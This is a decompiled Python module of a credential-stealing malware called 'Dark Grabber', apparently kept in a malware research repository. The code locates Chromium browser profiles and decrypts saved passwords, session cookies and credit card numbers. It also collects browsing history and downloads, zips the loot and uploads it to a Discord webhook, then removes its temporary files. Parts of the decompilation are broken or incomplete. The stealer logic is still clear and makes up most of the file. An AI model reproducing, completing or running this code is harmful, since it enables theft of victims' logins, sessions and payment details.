Files
Malware-Research/Random/Dark Grabber/Annexes/browsers.py

262 lines
8.1 KiB
Python
Executable File

# Source Generated with Decompyle++
# File: browsers.pyc (Python 3.10)
import base64
import json
import os
import shutil
import sqlite3
from pathlib import Path
from zipfile import ZipFile
from Crypto.Cipher import AES
from discord import Embed, File, SyncWebhook
from win32crypt import CryptUnprotectData
__LOGINS__ = []
__COOKIES__ = []
__WEB_HISTORY__ = []
__DOWNLOADS__ = []
__CARDS__ = []
class Browsers:
def __init__(self, webhook):
self.webhook = SyncWebhook.from_url(webhook)
Chromium()
Upload(self.webhook)
class Upload:
def __init__(self = None, webhook = None):
self.webhook = webhook
self.write_files()
self.send()
self.clean()
def write_files(self):
os.makedirs('vault', True, **('exist_ok',))
# WARNING: Decompyle incomplete
def send(self):
self.webhook.send(Embed('Vault', '```' + '\n'.join(self.tree(Path('vault'))) + '```', **('title', 'description')), File('vault.zip'), **('embed', 'file'))
def clean(self):
shutil.rmtree('vault')
os.remove('vault.zip')
def tree(self = None, path = None, prefix = None, midfix_folder = ('', '\xf0\x9f\x93\x82 - ', '\xf0\x9f\x93\x84 - '), midfix_file = ('path', Path, 'prefix', str, 'midfix_folder', str, 'midfix_file', str)):
pass
# WARNING: Decompyle incomplete
class Chromium:
def __init__(self):
self.appdata = os.getenv('LOCALAPPDATA')
# WARNING: Decompyle incomplete
def get_master_key(self = None, path = None):
with open(path, 'r', 'utf-8', **('encoding',)) as f:
c = f.read()
None(None, None, None)
# WARNING: Decompyle incomplete
def decrypt_password(self = None, buff = None, master_key = None):
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
def get_login_data(self = None, path = None, profile = None):
login_db = f'''{path}\\{profile}\\Login Data'''
if not os.path.exists(login_db):
return None
None.copy(login_db, 'login_db')
conn = sqlite3.connect('login_db')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for row in cursor.fetchall():
if not row[0] and row[1] or row[2]:
continue
password = self.decrypt_password(row[2], self.master_key)
__LOGINS__.append(Types.Login(row[0], row[1], password))
conn.close()
os.remove('login_db')
def get_cookies(self = None, path = None, profile = None):
cookie_db = f'''{path}\\{profile}\\Network\\Cookies'''
if not os.path.exists(cookie_db):
return None
None.copy(cookie_db, 'cookie_db')
conn = sqlite3.connect('cookie_db')
cursor = conn.cursor()
cursor.execute('SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies')
for row in cursor.fetchall():
if not row[0] and row[1] and row[2] or row[3]:
continue
cookie = self.decrypt_password(row[3], self.master_key)
__COOKIES__.append(Types.Cookie(row[0], row[1], row[2], cookie, row[4]))
conn.close()
os.remove('cookie_db')
def get_web_history(self = None, path = None, profile = None):
web_history_db = f'''{path}\\{profile}\\History'''
if not os.path.exists(web_history_db):
return None
None.copy(web_history_db, 'web_history_db')
conn = sqlite3.connect('web_history_db')
cursor = conn.cursor()
cursor.execute('SELECT url, title, last_visit_time FROM urls')
for row in cursor.fetchall():
if not row[0] and row[1] or row[2]:
continue
__WEB_HISTORY__.append(Types.WebHistory(row[0], row[1], row[2]))
conn.close()
os.remove('web_history_db')
def get_downloads(self = None, path = None, profile = None):
downloads_db = f'''{path}\\{profile}\\History'''
if not os.path.exists(downloads_db):
return None
None.copy(downloads_db, 'downloads_db')
conn = sqlite3.connect('downloads_db')
cursor = conn.cursor()
cursor.execute('SELECT site_url, tab_url, target_path, last_access_time FROM downloads')
for row in cursor.fetchall():
if not row[0] and row[1] and row[2] or row[3]:
continue
__DOWNLOADS__.append(Types.Download(row[0], row[1], row[2], row[3]))
conn.close()
os.remove('downloads_db')
def get_credit_cards(self = None, path = None, profile = None):
cards_db = f'''{path}\\{profile}\\Web Data'''
if not os.path.exists(cards_db):
return None
None.copy(cards_db, 'cards_db')
conn = sqlite3.connect('cards_db')
cursor = conn.cursor()
cursor.execute('SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards')
for row in cursor.fetchall():
if not row[0] and row[1] and row[2] or row[3]:
continue
card_number = self.decrypt_password(row[3], self.master_key)
__CARDS__.append(Types.CreditCard(row[0], row[1], row[2], card_number, row[4]))
conn.close()
os.remove('cards_db')
class Types:
class Login:
__qualname__ = 'Types.Login'
def __init__(self, url, username, password):
self.url = url
self.username = username
self.password = password
def __str__(self):
return f'''{self.url}\t{self.username}\t{self.password}'''
def __repr__(self):
return self.__str__()
class Cookie:
__qualname__ = 'Types.Cookie'
def __init__(self, host, name, path, value, expires):
self.host = host
self.name = name
self.path = path
self.value = value
self.expires = expires
def __str__(self):
return f'''{self.host}\t{'FALSE' if self.expires == 0 else 'TRUE'}\t{self.path}\t{'FALSE' if self.host.startswith('.') else 'TRUE'}\t{self.expires}\t{self.name}\t{self.value}'''
def __repr__(self):
return self.__str__()
class WebHistory:
__qualname__ = 'Types.WebHistory'
def __init__(self, url, title, timestamp):
self.url = url
self.title = title
self.timestamp = timestamp
def __str__(self):
return f'''{self.url}\t{self.title}\t{self.timestamp}'''
def __repr__(self):
return self.__str__()
class Download:
__qualname__ = 'Types.Download'
def __init__(self, site_url, tab_url, target_path, last_access_time):
self.site_url = site_url
self.tab_url = tab_url
self.target_path = target_path
self.last_access_time = last_access_time
def __str__(self):
return f'''{self.site_url}\t{self.tab_url}\t{self.target_path}\t{self.last_access_time}'''
def __repr__(self):
return self.__str__()
class CreditCard:
__qualname__ = 'Types.CreditCard'
def __init__(self, name, month, year, number, date_modified):
self.name = name
self.month = month
self.year = year
self.number = number
self.date_modified = date_modified
def __str__(self):
return f'''{self.name}\t{self.month}\t{self.year}\t{self.number}\t{self.date_modified}'''
def __repr__(self):
return self.__str__()